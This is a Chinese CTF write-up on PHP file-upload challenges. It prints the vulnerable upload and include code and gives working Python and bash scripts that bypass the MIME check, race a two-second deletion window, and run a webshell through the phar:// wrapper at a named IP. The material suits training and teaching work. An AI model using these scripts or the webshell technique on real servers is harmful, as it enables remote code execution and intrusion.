ctf赛题上传一个php木马,文件上传的ctf_web题目【伪协议】

1.第一题

4d03a6b83330

Qiyu_20170807_210121.png

文件包含

可以读到php源代码

源代码:

require("header.php");

$page="";

if (isset($_GET['page']))

$page=$_GET['page'].".php"; #page参数自动添加了.php后缀,因此文件包含的index不需要加后缀

else

$page="main.php";

include($page);

?>

本题还可以通过文件包含,查看upload.php的源代码

$error=$_FILES['pic']['error'];

$tmpName=$_FILES['pic']['tmp_name'];

$name=$_FILES['pic']['name'];

$size=$_FILES['pic']['size'];

$type=$_FILES['pic']['type'];

try{

if($name!=="")

{

$name1=substr($name,-4);

if(($name1!==".gif") and ($name1!==".jpg") and ($name1!==".zip"))

{

echo "hehe";

echo "";

exit;

}

if($type!=="image/jpeg"&&$type!=="image/gif")

{

echo mime_content_type($tmpName);

echo "";

exit;

}

if(is_uploaded_file($tmpName)){

$time=time();

$rootpath='uploads/'.$time.$name1;

if(!move_uploaded_file($tmpName,$rootpath)){

echo "";

exit;

}

}

echo "图片ID:".$time;

}

}

catch(Exception $e)

{

echo "ERROR";

}

//

?>

最后,可以通过burp修改http包的Content-Type: image/gif,上传一个包含1.php的a.zip的压缩包

然后执行i.php的webshell,提交post参数调用系统命令,实现shell

2.第二题

$error=$_FILES['pic']['error'];

$tmpName=$_FILES['pic']['tmp_name'];

$name=$_FILES['pic']['name'];

$size=$_FILES['pic']['size'];

$type=$_FILES['pic']['type'];

try{

if($name!=="")

{

$name1=substr($name,-4);

if(($name1!==".gif") and ($name1!==".jpg"))

{

echo "hehe";

echo "";

exit;

}

if($type!=="image/jpeg"&&$type!=="image/gif")

{

//echo mime_content_type($tmpName);

echo "";

exit;

}

if(is_uploaded_file($tmpName)){

$time=time();

$rootpath='uploads/'.$time.$name1;

if(!move_uploaded_file($tmpName,$rootpath)){

echo "";

exit;

}

else{

sleep(2);

if ($type=='image/jpeg')

{

$im = @imagecreatefromjpeg($rootpath);

if(!$im){

$im = imagecreatetruecolor(150, 30);

$bg = imagecolorallocate($im, 255, 255, 255);

$text_color = imagecolorallocate($im, 0, 0, 255);

imagefilledrectangle($im, 0, 0, 150, 30, $bg);

imagestring($im, 3, 5, 5, "Error loading image", $text_color);

} else {

$time=time();

$new_rootpath='uploads/'.$time.$name1;

imagejpeg($im,$new_rootpath);

imagedestroy($im);

}

}

else if ($type=='image/gif')

{

$im = @imagecreatefromgif($rootpath);

if(!$im){

$im = imagecreatetruecolor(150, 30);

$bg = imagecolorallocate($im, 255, 255, 255);

$text_color = imagecolorallocate($im, 0, 0, 255);

imagefilledrectangle($im, 0, 0, 150, 30, $bg);

imagestring($im, 3, 5, 5, "Error loading image", $text_color);

} else {

$time=time();

$new_rootpath='uploads/'.$time.$name1;

imagegif($im,$new_rootpath);

imagedestroy($im);

}

}

unlink($rootpath);

}

}

echo "图片ID:".$time;

}

}

catch(Exception $e)

{

echo "ERROR";

}

//

?>

查看源码后,发现php代码里面在做一般的检查之后,会先sleep(2),之后会对图片进行转换,如果不是正常的图片就会被删除;因此,我们需要在上传完文件的这2秒内,用另外一个脚本去文件包含shell执行

以下是两个脚本的代码:

upload.py用来上传zip压缩包

#!/usr/bin/env python

# encoding: utf-8

import requests

url = "http://202.112.51.217:8199/upload.php"

data = {

'title': 'admin',

'url': 'admin'

}

#此处**'pic'**是因为上面的upload.php里面判断用的键名

files = {'pic': ('xman.jpg', open("sh.zip").read(), 'image/jpeg')}

# 这里使用 requests 库来上传文件有几种方式

# 这种方式可以控制文件名以及文件类型

# 可以用来绕过基于客户端的文件名和文件类型检测

response = requests.post(url, data=data, files=files)

content = response.content

print content

shell.py用来进行文件包含执行webshell

#!/usr/bin/env python

# encoding: utf-8

import requests

#由于此题apache2配置的问题导致可以直接读uploads目录

url = "http://202.112.51.217:8199/uploads/"

response = requests.get(url)

content = response.content

files = []

#这里用来寻找到最新的(你刚上传的)webshell文件的名字

for line in content.split("\n"):

if "href=" in line:

files.append(line.split("href=\"")[1].split("\">")[0])

#一般是这些保存的文件的最后一个

filename = files[-1]

#此处zip://试过不行,似乎是因为php版本的原因,因此改用phar://伪协议去执行解压缩

url = "http://202.112.51.217:8199

/index.php?page=phar://uploads/"+filename+"/sh&w=system('head *');" #此处‘head *’用来打印当前目录下所有文件的前十行

print requests.get(url).content

sh.php是一句话木马

//这里因为上面的shell.py最后用的是GET请求,因此,写REQUEST或者GET都可以,如果要用POST要更改shell.py脚本

这两个脚本你可以接连在两个终端上执行,也可以写一个shell脚本去执行,下面是shell.sh的内容

#!/bin/bash

python upload.py& #后面加&就不会阻塞后面的命令执行

sleep 0.5 #这里是为了给上传文件留出一定的时间

python shell.py #此处用于执行webshell

执行的结果图:

4d03a6b83330

Paste_Image.png

注:requests库上传文件的书写格式,官方文档传送门

4d03a6b83330

Paste_Image.png

3.第三题

X-NUCA 练习:login

4.第四题

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值